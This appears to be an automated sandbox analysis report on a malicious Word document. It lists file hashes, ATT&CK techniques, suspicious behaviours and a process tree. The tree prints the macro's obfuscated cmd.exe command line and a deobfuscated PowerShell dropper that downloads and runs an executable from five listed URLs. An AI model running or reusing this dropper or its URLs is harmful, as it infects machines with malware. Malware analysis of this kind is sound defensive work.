32295c7c8473f48ea5e32dc2013f71af234bb6863009d7905d4291a295fed9b8

General

Target

ee7b3e658278e4d4a780e5dcea37cfdc_JaffaCakes118.doc
Size

77KB
MD5

ee7b3e658278e4d4a780e5dcea37cfdc
SHA1

6ae05523d9333400cc8ac0892da32b99354b294d
SHA256

32295c7c8473f48ea5e32dc2013f71af234bb6863009d7905d4291a295fed9b8
SHA512

af90f7acd8ca3e8fe4ad689164f1ef0f0321b1743bcf872370b23076a90cff13302887811be18ace415dab07de18a26f19dfb7a2af7c649e5222851058779292
SSDEEP

1536:+ptJlmrJpmxlRw99NB++akPVbFuZ5RmBy:Ste2dw99f1qZ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://milehighffa.com/Wn0Kwn

exe.dropper

http://yess.pl/YdJytbr

exe.dropper

http://auto-diagnost.com.ua/F

exe.dropper

http://silverlineboatsales.com/1R906A1

exe.dropper

http://miaudogs.pt/x3ZLoewB

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3516	4284	cmd.exe	81

Blocklisted process makes network request 3 IoCs

flow	pid	Process
23	4888	powershell.exe
52	4888	powershell.exe
67	4888	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4888	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
3516	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4284	WINWORD.EXE
4284	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4888	powershell.exe
4888	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4888	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4284	WINWORD.EXE
4284	WINWORD.EXE
4284	WINWORD.EXE
4284	WINWORD.EXE
4284	WINWORD.EXE
4284	WINWORD.EXE
4284	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4284 wrote to memory of 3516	4284	WINWORD.EXE	86
PID 4284 wrote to memory of 3516	4284	WINWORD.EXE	86
PID 3516 wrote to memory of 4888	3516	cmd.exe	90
PID 3516 wrote to memory of 4888	3516	cmd.exe	90

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ee7b3e658278e4d4a780e5dcea37cfdc_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Windows\SYSTEM32\cmd.exe
  cmd /V/C"s^e^t 9^E^F= ^ ^ ^ ^ ^ ^ ^ ^ ^ }}^{hc^tac^}^;k^a^erb;^w^HY^$^ ^metI-^ek^ovn^I^;)^wHY$^ ^,^z^Fp^$(eliF^dao^lnw^o^D^.M^zV^${^yr^t{)^b^Pv^$^ n^i zF^p$(^hca^er^of;^'^e^xe^.'+^fv^f$+'^\^'+cil^bup:vn^e$^=^wHY$;'^8^84^'^ = fv^f^$^;)^'@'(^til^p^S.'^B^w^e^oLZ3^x/^tp.^sg^o^du^a^im//^:ptth^@1A^6^09R^1/^moc^.s^e^last^a^o^b^en^i^lr^ev^l^is//^:^pt^t^h@^F/a^u^.moc.t^s^on^g^a^id-otu^a//^:p^tth^@r^btyJ^d^Y/l^p^.^s^s^e^y//^:^ptt^h@n^w^K0nW/^moc.^a^f^fh^gihe^l^i^m//^:ptt^h'^=^bPv$;^tne^i^lCbe^W.^teN^ tcejb^o^-w^en^=MzV^$^ ^l^l^e^hsre^w^op&&^f^or /^L %^3 ^in (3^5^9^;-^1^;0)^d^o ^s^e^t Wv^8^b=!Wv^8^b!!9^E^F:~%^3,1!&&^i^f %^3==^0 c^al^l %Wv^8^b:~^6%"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $VzM=new-object Net.WebClient;$vPb='http://milehighffa.com/Wn0Kwn@http://yess.pl/YdJytbr@http://auto-diagnost.com.ua/F@http://silverlineboatsales.com/1R906A1@http://miaudogs.pt/x3ZLoewB'.Split('@');$fvf = '488';$YHw=$env:public+'\'+$fvf+'.exe';foreach($pFz in $vPb){try{$VzM.DownloadFile($pFz, $YHw);Invoke-Item $YHw;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDED30.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uzx3oqdw.3bd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
65fcbaa3a5570ad82040e1034466a9c7

SHA1
b0e31c81900a25be8f96ba62f8329c48365072e6

SHA256
94fc239892289b00098f885941f972deba7f0edde2c8de6941bec06a099ee9f0

SHA512
0e8a703a3394c18adb382e32a90eeab11c6370eab6871ef3028a5c4c581967e3e68eb71946da3ec29545803112db1e3a23513182e666fd9837e4896ba33edc77

Download Submit
memory/4284-17-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-7-0x00007FFC780D0000-0x00007FFC780E0000-memory.dmp

Filesize
64KB

Download
memory/4284-19-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-37-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-6-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-9-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-8-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-11-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-10-0x00007FFC75B30000-0x00007FFC75B40000-memory.dmp

Filesize
64KB

Download
memory/4284-13-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-12-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-15-0x00007FFC75B30000-0x00007FFC75B40000-memory.dmp

Filesize
64KB

Download
memory/4284-16-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-14-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-18-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-1-0x00007FFCB80ED000-0x00007FFCB80EE000-memory.dmp

Filesize
4KB

Download
memory/4284-5-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-36-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-4-0x00007FFC780D0000-0x00007FFC780E0000-memory.dmp

Filesize
64KB

Download
memory/4284-38-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-2-0x00007FFC780D0000-0x00007FFC780E0000-memory.dmp

Filesize
64KB

Download
memory/4284-218-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-52-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-54-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-53-0x00007FFCB80ED000-0x00007FFCB80EE000-memory.dmp

Filesize
4KB

Download
memory/4284-55-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-56-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-3-0x00007FFC780D0000-0x00007FFC780E0000-memory.dmp

Filesize
64KB

Download
memory/4284-65-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-66-0x00007FFCB8050000-0x00007FFCB8245000-memory.dmp

Filesize
2.0MB

Download
memory/4284-0-0x00007FFC780D0000-0x00007FFC780E0000-memory.dmp

Filesize
64KB

Download
memory/4284-214-0x00007FFC780D0000-0x00007FFC780E0000-memory.dmp

Filesize
64KB

Download
memory/4284-217-0x00007FFC780D0000-0x00007FFC780E0000-memory.dmp

Filesize
64KB

Download
memory/4284-216-0x00007FFC780D0000-0x00007FFC780E0000-memory.dmp

Filesize
64KB

Download
memory/4284-215-0x00007FFC780D0000-0x00007FFC780E0000-memory.dmp

Filesize
64KB

Download
memory/4888-44-0x000002D34A470000-0x000002D34A492000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads